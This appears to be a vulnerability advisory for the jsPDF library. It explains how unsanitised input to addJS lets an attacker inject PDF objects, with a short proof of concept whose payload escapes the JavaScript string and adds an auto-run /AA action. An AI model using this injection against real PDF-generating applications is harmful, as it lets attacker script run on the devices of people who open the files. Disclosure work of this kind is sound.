User control of the argument of the addJS method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";
doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");